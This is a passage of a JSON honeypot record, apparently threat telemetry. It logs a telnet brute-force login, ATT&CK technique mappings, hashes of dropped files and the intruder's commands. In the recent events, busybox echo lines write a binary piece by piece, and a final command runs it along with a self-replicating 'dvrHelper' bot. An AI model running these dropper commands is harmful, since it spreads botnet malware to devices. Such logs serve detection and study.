d0f21d76d4ff","name":".d","size":1120,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":{"sha256":"fb382234abf3bdd080804180f09eeff1d1d5432afa8807cec6d6d0f21d76d4ff","status":"known","malicious":9,"total":75,"name":"b8sr96.exe"}},{"sha256":"e4731827c39ab93713694cc7f8f0b25ebded32e0d49deaf42014641ae9db332e","name":".d","size":1088,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"44269fbb43f8d61592d1d1cd797803809c5caaab9e13488f333ab8bbdf205e59","name":".d","size":1056,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"b42d5586c85e3bf97221da8ebcf0ec555babba25f27e6cdbe1d2a8822a806faf","name":".d","size":1024,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"b206d66ee3b7687cb89c18dceaa9e89af2050f6b881c26ba3ba6a6b28a21d05c","name":".d","size":992,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"6c300c17d0fbc33e5a9331f2fcc6084ad5ff1ff9e186f0a601e40e2efc3e0155","name":".d","size":960,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"d9a3cbd6a1fc94380521d09bb547cf74751c64d0b6419661fa56da0daedd5d04","name":".d","size":928,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"ec9b8afe6f60da89cc7955034066364bebf7b5f4e5d77ba83e6566aebf2eb631","name":".d","size":896,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"53fbffb80412004600ea816c1255e6d00aeb15a0ea94c153887eefbaf1adba90","name":".d","size":864,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"c73dc56c08d02b48475f790b591abe5a8af204219bb0572e55061e8b864d2ce3","name":".d","size":832,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null},{"sha256":"734df2c9182277fa49f73621800dd6584e47e44f4ef52a8252eb39ec17557987","name":".d","size":800,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-26T10:31:26","last_seen":"2026-10-26T10:31:26","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-26","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-26T10:31:28","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox","payload_hex":"2f62696e2f62757379626f78","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1074","seq":1074,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a5c7d37c33446cd2","strings":["/bin/busybox"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:28","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep","payload_hex":"2f62696e2f62757379626f782063686d6f64202b78202e643b202e2f2e643b202e2f64767248656c7065722073656c66726570","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1072","seq":1072,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"50d369c04985fb9a","strings":["/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox","payload_hex":"2f62696e2f62757379626f78","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1070","seq":1070,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a5c7d37c33446cd2","strings":["/bin/busybox"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d","payload_hex":"2f62696e2f62757379626f78206563686f202d6e6520225c7830305c7830305c7830305c7830305c7830315c7830305c7830305c7830305c7830305c7830305c7830305c78303022203e3e202e64","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1068","seq":1068,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7b6b77c02aaabb05","strings":["/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC4\\x03\\x00\\x00\\x1E\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d","payload_hex":"2f62696e2f62757379626f78206563686f202d6e6520225c7830305c7830305c7830305c7830305c7830315c7830305c7830305c7830305c7830335c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7843345c7830335c7830305c7830305c7831455c7830305c7830305c7830305c7830305c7830305c7830305c78303022203e3e202e64","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1066","seq":1066,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a74e0ddee1875277","strings":["/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\…"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox echo -ne \"\\x08\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xC4\\x03\\x41\\x00\\xC4\\x03\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\" >> .d","payload_hex":"2f62696e2f62757379626f78206563686f202d6e6520225c7830385c7830305c7830305c7830305c7830335c7830305c7830305c7830305c7843345c7830335c7834315c7830305c7843345c7830335c7830305c7830305c7830385c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830345c7830305c7830305c78303022203e3e202e64","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1064","seq":1064,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"33c3977f4e2fdc86","strings":["/bin/busybox echo -ne \"\\x08\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xC4\\x03\\x41\\x00\\xC4\\x03\\…"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox echo -ne \"\\x80\\x03\\x40\\x00\\x80\\x03\\x00\\x00\\x44\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x19\\x00\\x00\\x00\" >> .d","payload_hex":"2f62696e2f62757379626f78206563686f202d6e6520225c7838305c7830335c7834305c7830305c7838305c7830335c7830305c7830305c7834345c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830345c7830305c7830305c7830305c7830315c7830305c7830305c7830305c7831395c7830305c7830305c78303022203e3e202e64","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1062","seq":1062,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"2cf2d3209dc37469","strings":["/bin/busybox echo -ne \"\\x80\\x03\\x40\\x00\\x80\\x03\\x00\\x00\\x44\\x00\\x00\\x00\\x00\\x00\\…"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox echo -ne \"\\xEC\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x32\\x00\\x00\\x00\" >> .d","payload_hex":"2f62696e2f62757379626f78206563686f202d6e6520225c7845435c7830325c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830345c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7831315c7830305c7830305c7830305c7830315c7830305c7830305c7830305c7833325c7830305c7830305c78303022203e3e202e64","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1060","seq":1060,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e35b6cd414d6da1a","strings":["/bin/busybox echo -ne \"\\xEC\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\…"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x94\\x00\\x40\\x00\\x94\\x00\\x00\\x00\" >> .d","payload_hex":"2f62696e2f62757379626f78206563686f202d6e6520225c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830425c7830305c7830305c7830305c7830315c7830305c7830305c7830305c7830365c7830305c7830305c7830305c7839345c7830305c7834305c7830305c7839345c7830305c7830305c78303022203e3e202e64","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1058","seq":1058,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"6cbdc1d04d3d7ac2","strings":["/bin/busybox echo -ne \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x00\\…"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true},{"timestamp":"2026-10-26T10:31:26","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"/bin/busybox echo -ne \"\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" >> .d","payload_hex":"2f62696e2f62757379626f78206563686f202d6e6520225c7837335c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c7830305c78303022203e3e202e64","method":"","user_agent":"","ja3":"","session":"dcfda396-94fb-419c-8df9-5d49b40232dd-1056","seq":1056,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"a11e0fa37fd0c10c","strings":["/bin/busybox echo -ne \"\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\…"],"iocs":{"paths":["/bin/busybox"]}},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}